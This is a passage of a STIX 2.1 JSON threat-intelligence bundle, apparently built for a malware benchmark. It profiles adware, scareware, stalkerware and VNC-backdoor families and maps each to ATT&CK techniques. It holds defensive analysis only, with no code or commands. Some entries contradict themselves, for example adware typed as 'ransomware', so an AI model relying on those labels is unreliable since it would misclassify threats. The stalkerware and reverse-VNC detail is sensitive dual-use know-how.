      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winshow",
      "description": "<h3>Executive Summary</h3>\nWinShow is a highly disruptive Adware and Browser Hijacker variant designed to aggressively monetize infected endpoints. It achieves this by forcefully injecting unauthorized advertisements into the user's web browsing experience, redirecting search queries to affiliate marketing networks, and comprehensively tracking the user's online behavior to generate illicit ad revenue for the threat actors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWinShow primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, media players, or PDF converters downloaded from third-party, untrustworthy aggregators. The installation is often obscured through deceptive UI \"Dark Patterns\" that trick the user into authorizing the adware's deployment.\n\nOnce installed, WinShow employs several aggressive techniques:\n<ul>\n<li><strong>Browser Extension Forcing:</strong> It installs malicious extensions or add-ons across all major web browsers (Chrome, Firefox, Edge). It often uses Group Policy Object (GPO) modifications in Windows to force-install these extensions and prevent the user from disabling them.</li>\n<li><strong>Search Hijacking and Redirection:</strong> WinShow alters the browser's default search engine and homepage. Legitimate search queries are intercepted and routed through attacker-controlled domains to artificially inflate traffic metrics for affiliate programs.</li>\n<li><strong>Content Injection:</strong> The adware actively modifies the HTML of legitimate websites the user visits, overlaying the page with intrusive pop-ups, banner ads, and in-text hyperlinks that were not placed there by the site owner.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile WinShow does not typically encrypt files like ransomware, it severely degrades the operational capacity of the endpoint. The constant redirection and rendering of injected ads consume significant CPU and RAM, leading to browser crashes and system instability. Furthermore, the extensive harvesting of browsing history constitutes a severe privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Comprehensive Anti-Malware Scan:</strong> Utilize an enterprise-grade anti-malware solution capable of detecting and removing deeply embedded Potentially Unwanted Programs (PUPs), specifically targeting the persistent registry keys associated with the hijacker.</li>\n<li><strong>Remediation of Group Policies:</strong> IT staff must inspect the local Group Policy settings (specifically Chrome/Edge enterprise policies) to remove any entries that are force-installing the malicious extensions.</li>\n<li><strong>Browser Factory Reset:</strong> The most effective way to eradicate the hijacking components is to perform a complete factory reset of all installed web browsers, clearing all extensions, caches, and custom settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.WinShow",
        "BrowserHijacker.WinShow",
        "PUP.WinShow"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winshow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winshow"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--542fbff6-201d-5e83-9043-a8a1bb84e384",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--635350bf-c9e3-54ef-bae8-29e1def85b24",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winshow exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b79efff3-2e94-5ed1-8802-dced847886f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--635350bf-c9e3-54ef-bae8-29e1def85b24",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winshow exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af06787c-4b50-5e3c-92c3-bb278ae5450b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--635350bf-c9e3-54ef-bae8-29e1def85b24",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winshow exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--57488e84-5982-5a7b-bec6-f911e03b9560",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winspeedup",
      "description": "<h3>Executive Summary</h3>\nWinSpeedup (often detected as Rogue.WinSpeedup or PUP.FakeOptimizer) is a highly deceptive Potentially Unwanted Program (PUP) operating as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial system \"scans\" to generate alarming false-positive reports about critical registry errors, outdated drivers, or severe fragmentation. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix these non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWinSpeedup relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming browser pop-ups claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where the utility is installed silently alongside the desired software.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a fake \"scan\" of the system. It invariably reports hundreds of \"critical system errors\" or \"privacy risks,\" creating a false sense of urgency and impending system instability.</li>\n<li><strong>System Hostage (Nagging):</strong> While not a screen-locker, it establishes aggressive persistence via registry `Run` keys and scheduled tasks, ensuring that it repeatedly interrupts workflow with high-pressure purchase prompts demanding credit card information.</li>\n<li><strong>Uninstallation Friction:</strong> The software often makes it deliberately difficult for the user to uninstall it via the standard Windows Control Panel, sometimes attempting to reinstall itself if the core registry keys are not properly deleted.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, WinSpeedup poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and users may unwittingly hand over valid credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus sometimes ignores PUPs. Utilize a reputable enterprise anti-malware solution specifically tuned for Rogue Software and Scareware removal to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Manual Registry Cleanup:</strong> If automated removal fails, IT administrators may need to manually remove the orphaned registry keys in `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` that are forcing the software to launch.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.WinSpeedup",
        "PUP.SystemOptimizer",
        "Scareware.Speedup"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winspeedup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winspeedup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49fffb98-a58a-5a3e-ba1d-a6cd45135b88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57488e84-5982-5a7b-bec6-f911e03b9560",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winspeedup exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--322274cf-14ea-5b02-918f-f13cc748f0cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57488e84-5982-5a7b-bec6-f911e03b9560",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winspeedup exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a30ce8a-0e02-5032-9c0a-b392b4137dbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57488e84-5982-5a7b-bec6-f911e03b9560",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winspeedup exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--74168dcf-12de-5069-8381-0c5c77c1840b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winspy",
      "description": "MonitoringTool:Win32/Winspy (often classified as Spyware or Stalkerware) represents a class of commercially available surveillance software. While marketed to concerned parents or employers for 'employee monitoring,' it is frequently abused by malicious actors (or abusive partners) for severe, covert privacy invasion. Winspy is designed to silently record nearly every aspect of a user's interaction with their computer, exfiltrating the stolen data to a remote server or a hidden local file.<br><br><b>Understanding Winspy (Stalkerware/Spyware)</b><br>To an end-user, Winspy is completely invisible; it does not display icons, taskbar entries, or standard uninstallation options. For a security analyst, its presence indicates a severe breach of confidentiality. Unlike traditional malware seeking financial gain, spyware is focused entirely on targeted surveillance, capturing intimate details, passwords, and private communications.<br><br><b>Execution and Surveillance Mechanics</b><br>Winspy must typically be installed by someone with physical access to the machine or via a deceptive social engineering attack (`T1204.002`). Upon installation, it establishes deep persistence, often masquerading as a legitimate Windows service or hiding within the `AppData` directory (`T1543.003`). Its capabilities are extensive: it deploys a low-level keyboard hook to capture all keystrokes (`T1056.001`), takes continuous or event-driven screenshots of the desktop (`T1113`), records audio from the microphone, and actively steals credentials stored in web browsers or chat clients (`T1555`). The captured data is compressed, encrypted, and periodically exfiltrated via email (SMTP) or direct upload to the vendor's cloud dashboard (`T1048`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of privacy and credential compromise. Host-based IoCs include EDR alerts for known commercial spyware digital signatures or anomalous processes registering global keyboard hooks (using `SetWindowsHookEx`). Network IoCs include consistent, periodic outbound traffic to known spyware vendor domains (e.g., Retina-X, FlexiSPY infrastructure) or unauthorized SMTP traffic transmitting encrypted archives. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winspy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad5aaa5d-a1e5-59af-9879-2c6f7e0e9c58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74168dcf-12de-5069-8381-0c5c77c1840b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winspy exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aac9987e-2f9c-5780-9bcd-f0d9a3fdcd63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74168dcf-12de-5069-8381-0c5c77c1840b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winspy exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfbf5b7d-fca4-5add-bf96-9940ce7e7040",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74168dcf-12de-5069-8381-0c5c77c1840b",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winspy exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9801a598-faf3-5a3d-8168-f9a89c5f218b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74168dcf-12de-5069-8381-0c5c77c1840b",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winspy exhibits technique T1048 (Exfiltration Over Alternative Protocol (Uploading logs to vendor cloud))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13ba2e4b-30b0-5bde-af58-c64f534a4ad6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wintaskad",
      "description": "Adware:Win32/Wintaskad represents a family of highly aggressive advertising software (Adware or PUP) that relies on the Windows Task Scheduler (`T1053.005`) for persistence. Unlike simple browser extensions that only show ads when the user is surfing the web, Wintaskad ensures that intrusive, full-screen advertisements or browser redirects are launched on a set schedule, even if the user isn't actively using the computer.<br><br><b>Understanding Wintaskad (Scheduled Persistence)</b><br>To an end-user, Wintaskad is infuriating. Their default browser will suddenly launch itself in the middle of a presentation or while playing a game, forcing them to a spam, survey, or malvertising website. For an IT department, this indicates a failure of endpoint security, usually caused by the user installing bundled 'freeware' or cracking tools.<br><br><b>Execution and Persistence Mechanics</b><br>During its covert installation (`T1204.002`), Wintaskad drops its executables (often heavily obfuscated) into hidden folders within `%AppData%` or `ProgramData`. The critical step is the creation of multiple Windows Scheduled Tasks. These tasks are configured to trigger the adware payload periodically (e.g., every 30 minutes, or at system idle). The tasks often use native tools (like `cmd.exe` or `powershell.exe`) to launch a URL, making the execution look slightly more legitimate to basic AV.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe disruption and exposure to secondary infections via malicious ads. Host-based IoCs are centered entirely around the Windows Task Scheduler (`schtasks.exe`). Look for unexpected tasks with names like 'System Update Service', 'Chrome Optimizer', or random GUID strings. The actions for these tasks will reveal commands pointing to suspicious executables or direct URLs to advertising networks. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wintaskad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wintaskad"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b21b4cf1-3489-5716-a147-1a643fa214ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13ba2e4b-30b0-5bde-af58-c64f534a4ad6",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintaskad exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (The defining characteristic of this adware family))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dbb9de0-7db9-5e16-b4eb-dbaa55f16ed2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13ba2e4b-30b0-5bde-af58-c64f534a4ad6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintaskad exhibits technique T1189 (Drive-by Compromise (The risk posed by the ads forced upon the user))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bd3c471-3b6b-55d9-b204-ff56c6b8e2c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13ba2e4b-30b0-5bde-af58-c64f534a4ad6",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintaskad exhibits technique T1204.002 (User Execution: Malicious File (The initial infection vector via bundled software))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b9e57921-fc8f-5f18-aaef-8b276dbd78d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wintrim",
      "description": "Trojan:Win32/Wintrim is a persistent, stealthy trojan often functioning as an adware clicker or a backdoor designed to breach endpoint defenses and securely deliver secondary payloads. It is known to heavily inject intrusive advertisements or silently click on hidden ads to generate fraudulent revenue for the attackers.<br><br><b>Understanding Wintrim</b><br>To an end-user, a Wintrim infection is typically noticed through severe system sluggishness, unexpected pop-up windows appearing even when browsers are closed, or redirected web searches. For threat intelligence analysts, Wintrim represents a significant nuisance and a potential staging mechanism for further infections, as adware botnets are frequently rented out to distribute more severe malware.<br><br><b>Execution and Evasion Strategies</b><br>Wintrim is commonly distributed via massive malspam campaigns containing weaponized attachments, software bundles (`T1189`), or through exploit kits. Upon execution, it utilizes packing to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wintrim frequently injects its ad-clicking or downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) (`T1055`) to mask its outbound network traffic and hide its activity from the user.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wintrim reaching out to known advertising networks or compromised domains using encrypted HTTPS traffic, often generating massive amounts of automated clicks. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wintrim",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wintrim"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5735ac41-1e59-5154-88a3-65013456ca19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9e57921-fc8f-5f18-aaef-8b276dbd78d6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintrim exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5f6a96e-f4da-5336-8be6-408615f92643",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9e57921-fc8f-5f18-aaef-8b276dbd78d6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintrim exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25582bd5-a6a1-5a8b-9d9b-bfef698b2123",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9e57921-fc8f-5f18-aaef-8b276dbd78d6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintrim exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71e18001-3dea-5078-abdb-7b13e38d3dc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9e57921-fc8f-5f18-aaef-8b276dbd78d6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintrim exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f4e86df-05fa-57c8-bd08-f5f155095bd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9e57921-fc8f-5f18-aaef-8b276dbd78d6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wintrim exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--adda095f-9e5b-5bd5-bf42-2f4b26e4cd72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winvnc",
      "description": "HackTool:Win32/Winvnc (or generic **VNC Abuse** heuristics) represents the unauthorized deployment and abuse of legitimate Virtual Network Computing (VNC) software (such as RealVNC, TightVNC, or UltraVNC) by threat actors. While VNC is a standard protocol for remote desktop administration, attackers frequently bundle silent VNC servers into their malware payloads to establish persistent, graphical, remote backdoors into compromised networks.<br><br><b>Understanding VNC Abuse</b><br>To an end-user, a hidden VNC server is usually invisible, though they might occasionally notice their mouse moving on its own or strange windows opening. For a security analyst, unauthorized VNC activity is a critical incident, indicating an attacker has interactive, 'hands-on-keyboard' control over the endpoint. Because VNC tools are legitimate, digitally signed software, they often bypass traditional antivirus signatures and application whitelisting policies.<br><br><b>Execution and Legitimate Tool Abuse</b><br>Attackers typically deploy the VNC payload after gaining initial access via phishing (`T1566.001`) or exploiting a vulnerability. They use a modified, pre-configured installer of the VNC server software and deploy it using command-line switches to ensure a silent, hidden installation (`T1059.004`), disabling the system tray icon and user prompts. The VNC server establishes persistence, usually as a Windows Service (`T1543.003`). Crucially, to bypass inbound firewall restrictions, attackers often configure the VNC server in 'Reverse Connection' mode (`T1090`), where the infected endpoint initiates the outbound connection to the attacker's waiting 'listening' VNC viewer, establishing a full graphical C2 channel (`T1071.001`) and enabling lateral movement (`T1021.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total, interactive remote control of the endpoint, leading to data exfiltration and lateral movement. The primary IoC is the execution of known VNC server binaries (e.g., `winvnc.exe`, `tvnserver.exe`) from unusual directories (like `%Temp%` or `%ProgramData%`). Network analysts should monitor for sustained outbound TCP traffic on non-standard ports (or standard VNC ports like 5900/5500 if not reverse-connecting) to unknown external IP addresses. EDR logs will flag the installation of a new, unapproved Windows Service. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winvnc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winvnc"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1fb70dd-6477-5245-82a4-12ac79154bff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adda095f-9e5b-5bd5-bf42-2f4b26e4cd72",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winvnc exhibits technique T1219 (Remote Access Software (Abusing legitimate VNC for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2be94aef-c6cc-5ec3-ab1d-6c88b31dd08d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adda095f-9e5b-5bd5-bf42-2f4b26e4cd72",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winvnc exhibits technique T1543.003 (Create or Modify System Process: Windows Service (VNC Server Service))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--470335f5-35ba-56b4-b120-8e9be12077b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adda095f-9e5b-5bd5-bf42-2f4b26e4cd72",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winvnc exhibits technique T1071.001 (Application Layer Protocol (Reverse VNC connections))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e97a16c7-ca1a-572b-8e64-3b7e52473a0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adda095f-9e5b-5bd5-bf42-2f4b26e4cd72",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winvnc exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Graphical lateral movement))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cb2931e0-6d6e-5ac0-b034-266cab5465a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Winwebsec",
      "description": "Winwebsec (classified across cybersecurity vendors as Rogue:Win32/Winwebsec, Trojan.Winwebsec, and Scareware:Win32/Winwebsec) is one of the most infamous and lucrative rogue antivirus and scareware malware families in cybersecurity history. Active extensively between 2009 and 2014, Winwebsec operated under dozens of deceptive cosmetic brand names (including System Security, WinPC Defender, Smart Protection 2012, System Progressive Protection, and Security Shield). Distributed via exploit kits, malicious advertisements (malvertising), and blackhat search engine optimization poisoning, Winwebsec mimics legitimate Windows security software upon execution. It immediately terminates running applications (including legitimate web browsers and antivirus suites) by monitoring active window titles and process names. Winwebsec floods the victim screen with urgent, fabricated alert dialogs claiming that the operating system is infected with severe trojans, rootkits, and worms, and completely disables Task Manager and Registry Editor. It demands that the victim enter credit card information to purchase a fraudulent software license key, generating millions of dollars in illicit extortion revenue for transnational cybercrime rings. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue:Win32/Winwebsec",
        "Trojan:Win32/Winwebsec",
        "Win32/Winwebsec",
        "Smart Protection 2012",
        "System Progressive Protection",
        "System Security Rogue"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Winwebsec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/winwebsec"
        }
      ],
      "labels": [
        "rogueware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab2a3da3-92d6-5e7c-8409-35bf597191f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb2931e0-6d6e-5ac0-b034-266cab5465a3",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Winwebsec exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
